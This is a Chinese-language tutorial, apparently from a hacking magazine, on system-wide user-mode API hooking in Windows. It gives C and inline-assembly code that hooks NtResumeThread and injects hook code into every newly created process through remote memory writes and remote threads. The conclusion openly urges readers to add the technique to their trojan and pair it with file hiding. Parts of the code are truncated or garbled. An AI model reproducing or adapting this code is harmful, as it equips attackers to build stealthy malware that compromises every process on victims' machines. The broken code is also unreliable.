API攔截——實(shí)現Ring3全局HOOK
首先來(lái)解釋一下這次的目標。由于windows的copy-on-write機制(Ring0下可以用CR0寄存器關(guān)掉它),Ring3下的HOOK只對當前進(jìn)程有效,其他進(jìn)程的API還是正常的。這就是說(shuō)我們必須枚舉進(jìn)程,然后對每個(gè)Ring3進(jìn)程執行一遍HOOK操作。
但是,系統中總有新進(jìn)程產(chǎn)生,對于這些新進(jìn)程我們怎么處理呢?最容易想到的就是設置一個(gè)TIMER,每隔一段時(shí)間就枚舉一遍進(jìn)程然后把新的掛鉤。但仔細一想就知道不行,TEMER過(guò)快嚴重影響系統效率,慢了又起不到作用,況且windows不是一個(gè)實(shí)時(shí)操作系統,沒(méi)人能保證到時(shí)間TEMER就被激活。如果我們能監控進(jìn)程創(chuàng )建,并在他們真正運行之前就執行掛鉤操作,就可以完美的解決問(wèn)題。
但是如何做到這一點(diǎn)呢?我們知道Ring3的進(jìn)程都有一個(gè)“父進(jìn)程”也就是說(shuō)新進(jìn)程都是由老進(jìn)程創(chuàng )建的(驅動(dòng)很少創(chuàng )建進(jìn)程)。知道這一點(diǎn)就好辦了,我們要做的只是截獲進(jìn)程創(chuàng )建。你肯定會(huì )說(shuō)“這么簡(jiǎn)單,HOOK NtCreateProcess就可以了!”但是這不是最簡(jiǎn)單的做法。為什么這么說(shuō)呢,首先在NtCreateProcess函數被調用時(shí)進(jìn)程并沒(méi)有真正被創(chuàng )建,我們無(wú)法執行HOOK操作,而當NtCreateProcess返回時(shí),進(jìn)程又已經(jīng)開(kāi)始運行,HOOK時(shí)存在線(xiàn)程同步的問(wèn)題(我用OD在NtCreateProcess設下INT3斷點(diǎn),卻攔不到,不只是為什么?)。
所以我選的函數是NtResumeThread。我們知道,當新進(jìn)程被創(chuàng )建時(shí),OS會(huì )為其創(chuàng )建一個(gè)住線(xiàn)程,而在這之后會(huì )調用NtResumeThread時(shí)期開(kāi)始運行,這時(shí)初始化完畢,DLL都已經(jīng)被載入,但進(jìn)程卻沒(méi)有開(kāi)始運行這時(shí)我們最好的機會(huì )(HAHA,天助我也HAHAHA…)。
NTSTATUS NtResumeThread(
IN HANDLE ThreadHandle,
OUT PULONG PreviousSuspendCount OPTIONAL
);
思路是這樣但是怎么實(shí)現呢?來(lái)看一下函數的定義:
我們關(guān)心的是第一個(gè)參數,它存儲的是新進(jìn)程主線(xiàn)程的句柄,我們可以通過(guò)調用ThreadInformationClass=0,ThreadInformationLength=28的NtQueryInformationThread函數來(lái)獲得該縣城所屬進(jìn)程的PID,然后只要HOOK它就可以了。
話(huà)雖如此,可是如果把HOOK的代碼都放到遠程去未免太麻煩了。開(kāi)始我想的是用遠程進(jìn)程調用CreateRemoteThread來(lái)回調HOOK進(jìn)程。但仔細想想就會(huì )發(fā)現,我們在本地HOOK時(shí)有足夠的權限,可是如果遠程進(jìn)程是GUEST權限的呢?回調時(shí)由于權限不夠就會(huì )出錯。翻了翻《windows核心編程》后恍然大悟:可以使用windows的事件對象來(lái)實(shí)現。用到的API有:OpenEvent,CreateEvent,SetEvent,ResetEvent。在HOOK每一個(gè)進(jìn)程的時(shí)候,用CreateEvent創(chuàng )建一個(gè)不可繼承、自動(dòng)重置的Event對象,然后創(chuàng )建一個(gè)線(xiàn)程用WaitForSingleObject函數等待改Event。當攔截到新進(jìn)程創(chuàng )建時(shí),遠程線(xiàn)程調用SetEvent來(lái)激活Event,然后同樣調用WaitForSingleObject函數等待。這時(shí)本地的WaitForSingleObject會(huì )返回, 然后再進(jìn)行相關(guān)的處理,然后調用SetEvent來(lái)讓遠程hook函數繼續運行。這樣有個(gè)問(wèn)題就是本題怎樣知道新進(jìn)程PID?我的解決辦法是遠程調用SetEvent前先把PID寫(xiě)在HOOK函數開(kāi)頭的特定偏移位置,然后本地用ReadProcessMemory來(lái)讀取。限于篇幅講得不太具體,如果不懂最好去看一看《windows核心編程》。
好了,理論就講道這里,來(lái)看看代碼,GO?。m然是在去年的5期文章的基礎上改的,不過(guò)改動(dòng)較大,所以關(guān)鍵代碼已提上來(lái)了。)
首先是hook函數,主要功能是對指定進(jìn)程的指定API進(jìn)行hook操作
int HookNamedApi(PDLLINFO pDllInfo, char *ApiName, DWORD HookProc,HANDLE ObjectProcessHandle)
{
DWORD dw, NamedApiAddress,NewFunc;//變量初始化
MEMORY_BASIC_INFORMATION mbi;
static EventInfo myEventInfo;
static Num=0x676e696b;
NamedApiAddress = (DWORD)GetProcAddress(pDllInfo->hModule, ApiName);//目標api地址,每個(gè)進(jìn)程的api地址都是一樣的,只要找本進(jìn)程的就可以了。
if(NamedApiAddress == NULL)
{
printf(“Error:GetProcAddress in hook_api”);//錯誤處理
return 0;
}
if(!VirtualQueryEx(ObjectProcessHandle,(void*)NamedApiAddress,&mbi,sizeof(MEMORY_BASIC_INFORMATION)))//獲取目標api所在內存信息
{
printf(“Error:VirtualQueryEx in hook_api”);
return 0;
}
if(!VirtualProtectEx(ObjectProcessHandle,mbi.BaseAddress,mbi.RegionSize,PAGE_EXECUTE_READWRITE,&dw))//分配寫(xiě)和執行權限,因為我們要對目標API開(kāi)頭進(jìn)行寫(xiě)操作
{
printf(“Error:VirtualProtectEx in hook_api”);
return 0;
}
LPVOID WriteAddress=VirtualAllocEx(ObjectProcessHandle,0,1000,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);//分配內存,寫(xiě)入hook函數
//計算備份函數COPY的位置
NewFunc = NamedApiAddress – (DWORD)pDllInfo->modinfo.lpBaseOfDll + (DWORD)pDllInfo->lpNewBaseOfDll;
//修改原函數入口處內容
if(strcmp(ApiName,”NtResumeThread”)==0)//如果是hook NtResumeThread函數要做一些處理
{
DWORD my_CreateEventA=(DWORD)GetProcAddress(GetModuleHandle(“kernel32.dll”),”CreateEventA”);
HANDLE EventFar;
__asm//這里不用匯編vc總說(shuō)類(lèi)型不對,偷個(gè)懶^_^
{
pushad
push 00000000h
push Num
push 0x676e696b
push esp//構造Event名
push 0
push 0
push 0
call my_CreateEventA
mov EventFar,eax
add esp,12
popad
}
*(PDWORD)((DWORD)FarStartUp+9)=(DWORD)GetProcAddress(GetModuleHandle(“kernel32.dll”),”OpenEventA”);//遠程函數的API地址都是動(dòng)態(tài)寫(xiě)入的。這里說(shuō)一句,以前是寫(xiě)入遠程后用WriteProcessMemory來(lái)改,后來(lái)想到這樣太慢(轉到Ring0要1000個(gè)CPU時(shí)間的哦)于是改在本地完成,但我們對代碼段進(jìn)行了寫(xiě)操作,默認是不允許的,所以要用PE修改工具來(lái)給.text段加上可寫(xiě)屬性
LPVOID StartUpAddr=VirtualAllocEx(ObjectProcessHandle,0,500,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);//分配內存,寫(xiě)入StartUp函數,因為我們用Event來(lái)解決,所以要在遠程打開(kāi)該Event對象
WriteProcessMemory(ObjectProcessHandle,StartUpAddr,(LPVOID)FarStartUp,500,0);//寫(xiě)入函數
printf(“%x\n”,(DWORD)StartUpAddr);//調試信息
HANDLEFarThread=CreateRemoteThread(ObjectProcessHandle,0,0, (PTHREAD_START_ROUTINE)StartUpAddr,(PVOID)Num,0,0);//創(chuàng )建遠程線(xiàn)程
WaitForSingleObject(FarThread,-1);//等待遠程初始化完畢
CloseHandle(FarThread);
DWORD ReadBuf;
ReadProcessMemory(ObjectProcessHandle,(LPVOID)((DWORD)StartUpAddr+21),&ReadBuf,4,0);//讀出遠程的Event句柄數值,后面寫(xiě)入HOOK函數
VirtualFreeEx(ObjectProcessHandle,StartUpAddr,500,MEM_RELEASE);//釋放內存
*(PDWORD)(HookProc+WRITEBASE+7)=ReadBuf;//寫(xiě)入句柄
myEventInfo.EventFar=EventFar;
myEventInfo.ObjectProcessHandle=ObjectProcessHandle;
myEventInfo.WriteAddress=(DWORD)WriteAddress;//線(xiàn)程參數
CreateThread(0,0,(unsigned long (__stdcall *)(void *))my_EventProcess_Thread,&myEventInfo,0,0);//創(chuàng )建本地等待線(xiàn)程
Num++;//每個(gè)進(jìn)程用不同的Event,所以名稱(chēng)不一樣
}
*(PDWORD)(HookProc+WRITEBASE)=NewFunc;
*(PDWORD)(HookProc+WRITEBASE+14)=(DWORD)GetProcAddress(GetModuleHandle(“kernel32.dll”),”GetCurrentProcessId”);
*(PDWORD)(HookProc+WRITEBASE+21)=(DWORD)GetProcAddress(GetModuleHandle(“kernel32.dll”),”SetEvent”);
*(PDWORD)(HookProc+WRITEBASE+28)=(DWORD)GetProcAddress(GetModuleHandle(“kernel32.dll”),”WaitForSingleObject”);
*(PDWORD)(HookProc+WRITEBASE+35)=(DWORD)GetProcAddress(GetModuleHandle(“ntdll.dll”),”NtQueryInformationThread”);
*(PDWORD)(HookProc+WRITEBASE+42)=(DWORD)GetProcAddress(GetModuleHandle(“kernel32.dll”),”ResetEvent”);//初始化HOOK函數,寫(xiě)入API地址
WriteProcessMemory(ObjectProcessHandle,WriteAddress,(void *)HookProc,1000,0);//寫(xiě)入HOOK函數
*(PDWORD)(&HookCode[0]+1)=(DWORD)WriteAddress;
WriteProcessMemory(ObjectProcessHandle,(LPVOID)NamedApiAddress,&HookCode,7,0);//修改目標API首字節,使其跳轉到我們的HOOK函數
printf(“func:%x\n”,WriteAddress);//調試信息
return 1;
}
接下來(lái)是遠程的初始化函數,用來(lái)打開(kāi)Event
void FarStartUp(int Num){//Event名稱(chēng)的后半段,我創(chuàng )建的Event名稱(chēng)都是形如”kingXXXX”
int myOpenEvent=0×10020000;//API函數地址,動(dòng)態(tài)寫(xiě)入,這條代碼編譯后是類(lèi)似于這樣的匯編碼:mov [ebp+XX],XXXX,修改時(shí)只要把XXXX換成API地址就可以了
__asm call GetMyAddr;//這個(gè)是用來(lái)取得本函數的地址用的,不知道的話(huà)可以上網(wǎng)查查
DWORD myEventHandle=0×00220000;//本地從這里讀出句柄代碼,HOOK函數中的代碼類(lèi)似
DWORD FuncAddr;
__asm
{
jmp run//正式運行時(shí)跳過(guò)
GetMyAddr:
pop eax
mov FuncAddr,eax
push eax
ret
run:
push 00000000
push Num
push 0x676e696b
push esp
push 0
push EVENT_ALL_ACCESS
call myOpenEvent//構造字符串,并打開(kāi)句柄
mov myEventHandle,eax
}
*(PDWORD)(FuncAddr+3)=myEventHandle;//往開(kāi)頭寫(xiě)入
return;
}
這時(shí)上面說(shuō)到過(guò)的等待線(xiàn)程,每HOOK一個(gè)進(jìn)程就有一個(gè)對應的這個(gè)線(xiàn)程,這里本來(lái)應該加一個(gè)垃圾回收機制,即當本線(xiàn)程對應的進(jìn)程已經(jīng)不存在了的時(shí)候,線(xiàn)程自我銷(xiāo)毀。不過(guò)還沒(méi)來(lái)得及寫(xiě)^_^
void __stdcall my_EventProcess_Thread(PVOID InEventInfo)
{
EventInfo myEventInfo;
PEventInfo Info=(PEventInfo)InEventInfo;
myEventInfo.EventFar=Info->EventFar;//保存句柄和進(jìn)程信息
myEventInfo.ObjectProcessHandle=Info->ObjectProcessHandle;
myEventInfo.WriteAddress=Info->WriteAddress;//這個(gè)是HOOK函數句柄
while(true)//循環(huán)等待
{
WaitForSingleObject(myEventInfo.EventFar,-1);
DWORD ReadBuf=0;//當對應進(jìn)程創(chuàng )建后WaitForSingleObject返回,執行到這里
ReadProcessMemory(myEventInfo.ObjectProcessHandle,(LPVOID)(myEventInfo.WriteAddress+67),&ReadBuf,4,0);//從遠程讀出新進(jìn)程的PID,在HOOK函數調用SetEvent之前會(huì )在遠程寫(xiě)入。
HANDLE ObjectProcessHandle=OpenProcess(PROCESS_ALL_ACCESS,1,ReadBuf);//打開(kāi)目標進(jìn)程
HookProcess(ObjectProcessHandle);//執行HOOK操作,本來(lái)應改檢查一下該進(jìn)程是否已經(jīng)被HOOK,還沒(méi)來(lái)得及寫(xiě)
SetEvent(myEventInfo.EventFar);//恢復遠程Hook函數運行
ResetEvent(myEventInfo.EventFar);//本來(lái)是自動(dòng)重置的Event,不過(guò)為了保險在重置一下
}
return;
}
下面是精華了哦,重點(diǎn)仔細看啊。
DWORD __stdcall Hook_NtResumeThread(
HANDLE ThreadHandle,
PULONG PreviousSuspendCount OPTIONAL)
{
int OldNtResumeThread;//原NtQueryDirectoryFile函數
int EventHandle; //Event句柄,由FarStartUp函數打開(kāi)
int my_GetCurrentProcessId;
int my_SetEnent;
int my_WaitForSingleObject;
int my_NtQueryInformationThread;//存放個(gè)API的指的變量
int my_ResetEvent;
__asm
{
mov OldNtResumeThread,00112244h
mov EventHandle,00225588h
mov my_GetCurrentProcessId,22447799h
mov my_SetEnent,55662244h
mov my_WaitForSingleObject,55889966h
mov my_NtQueryInformationThread,77554411h
mov my_ResetEvent,55661188h//hook時(shí)寫(xiě)入
pushad//保護堆棧
}
__asm call GetAddr;//同FarStartUp函數
int FarRead;
__asm mov FarRead,22550011h;
DWORD myAddr;
__asm
{
jmp start
GetAddr:
pop eax
mov myAddr,eax
push eax
ret
start:
}
DWORD myStatus;//存儲返回變量
BYTE SystemInfo[60];//存放NtQueryInformationThread返回信息的緩沖
int infoaddr=(DWORD)&SystemInfo;//緩沖地址
int CurrentProcess;
__asm
{
push 0
push 28//這里必須是28,則函數不執行,這個(gè)值是我從10到100瓊琚出來(lái)的,辛苦啊555。。。
push infoaddr
push 0
push ThreadHandle
call my_NtQueryInformationThread//調用NtQueryInformationThread獲得線(xiàn)程所屬進(jìn)程的PID
mov myStatus,eax
}
DWORD *)(SystemInfo+8);
__asm
{
call my_GetCurrentProcessId//獲得本進(jìn)程PID
mov CurrentProcess,eax
}
if(id==(DWORD)CurrentProcess)//如果是對當前進(jìn)程操作就直接返回,免得傳回本地浪費時(shí)間降低效率
{
__asm
{
push PreviousSuspendCount
push ThreadHandle
call OldNtResumeThread
mov myStatus,eax
popad//對應開(kāi)頭的pushad,用來(lái)保護堆棧,下同
}
return myStatus;
}
if(myStatus==0)//如果NtQueryInformationThread執行不成功就直接返回,漏hook總比程序死掉好,嘿嘿
{
*(PDWORD)(myAddr+3)=id;//把目標PID寫(xiě)道函數開(kāi)頭
__asm
{
push EventHandle
call my_SetEnent//恢復本地對應線(xiàn)程運行
push -1
push EventHandle
call my_WaitForSingleObject//等待本地HOOK操作完成
push EventHandle
call my_ResetEvent
}
}
__asm
{
push PreviousSuspendCount
push ThreadHandle
call OldNtResumeThread//調用原NtResumeThread函數,到這里,新進(jìn)程正式開(kāi)始運行
mov myStatus,eax
popad//保護堆棧
}
return myStatus;//這個(gè)是用來(lái)擺平vc++編譯器的,沒(méi)實(shí)際意義^_^
}
小結:
最后來(lái)總結一下思路把,程序分為本地(HOOK程序)和遠程(被HOOK程序)。
最近Ring0的木馬大行其道,不過(guò)Ring0的東西寫(xiě)起來(lái)太費時(shí)搞不好就BSOD,光是弄DDK就花了我一個(gè)禮拜,555…所以我們的Ring3HOOK還是很有市場(chǎng)的,快加到你的愛(ài)馬里吧,只要在開(kāi)頭加一個(gè)枚舉進(jìn)程,所有的Ring3進(jìn)程就統統地被掛上了,再配合以前的隱藏文件……嘿嘿
聯(lián)系客服